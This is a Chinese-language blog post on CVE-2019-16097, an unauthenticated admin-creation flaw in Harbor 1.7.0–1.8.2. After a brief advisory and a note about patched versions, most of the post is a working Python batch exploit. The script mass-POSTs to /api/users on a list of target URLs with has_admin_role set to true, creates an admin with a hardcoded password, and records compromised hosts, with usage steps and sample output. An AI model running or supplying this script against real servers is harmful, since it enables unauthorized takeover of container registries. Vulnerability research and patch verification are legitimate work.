001-CVE-2019-16097 Harbor未授权创建管理员漏洞

# CVE-2019-16097 Harbor未授权创建管理员漏洞

### 一、漏洞简介

近日,镜像仓库Harbor爆出任意管理员注册漏洞,攻击者在请求中构造特定字符串,在未授权的情况下可以直接创建管理员账号,从而接管Harbor镜像仓库。我们得到消息,第一时间对该漏洞进了验证,官方已发布公告说明,最新的1.7.6和1.8.3已修复此漏洞,请使用到的用户尽快升级至安全版本。

Harbor是一个用于存储和分发Docker镜像的企业级Registry服务器。Harbor 1.7.0版本至1.8.2版本中的core/api/user.go文件存在安全漏洞。攻击者通过在请求中添加关键参数,即可利用该漏洞创建管理员账户,从而接管Harbor镜像仓库。

### 二、影响范围

Harbor 1.7.0版本至1.8.2

### 三、复现过程

https://github.com/ianxtianxt/CVE-2019-16097

**批量漏洞利用脚本**

cve-2019-16097-batch.py:

“`python
#!/usr/bin/env python
# -*- coding:utf-8 -*-
# author:rocky
# datetime:2019-09-21 00:43
# software: PyCharm

import requests
import logging
import threading

__author__ = ‘rocky’
__date__ = ‘2019/9/21’

def poc(url):
bug_url = url + “/api/users”
payload = ‘{“username”:”test”,”email”:”939555035@qq.com”,”realname”:”test”,”password”:”qq123123″,”comment”:”1″,”has_admin_role”:true}’
header = {“Content-Type”: “application/json”, “Accept”: “application/json”}
try:
r = requests.post(bug_url, data=payload, headers=header, timeout=10)
print bug_url
print r.status_code
if r.status_code == 201:
print “[!] This URL is Vulnerable !”
print “[!] username: test password: qq123123”

f.write(url + “[!] This URL is Vulnerable ! [!] username: test password: qq123123 ” + “\n”)
else:
print “[-] It’s nothing.”

except Exception as e:
logging.warning(bug_url)
print e

if __name__ == ‘__main__’:
print “CVE-2019-16097-batch”
print “author: ” + __author__
print “date: ” + __date__
f = open(“result.txt”, “a”)
url_list = [i.replace(“\n”, “”) for i in open(“url.txt”, “r”).readlines()]
for url in url_list:
threading.Thread(target=poc, args=(url,)).start()
while 1:
if (len(threading.enumerate()) < 50): break ``` result.txt: ``` http://192.168.50.233[!] This URL is Vulnerable ! [!] username: test password: qq123123 ``` url: ``` http://192.168.50.233 ``` 在 url.txt文件 批量添加目标地址 `http://1.1.1.1 http://2.2.2.2` 使用python 运行 此脚本 在 result.txt 可以看到最终的验证结果

© 版权声明
THE END
喜欢就支持一下吧
点赞0赞赏 分享
评论 抢沙发

请登录后发表评论

    请登录后查看评论内容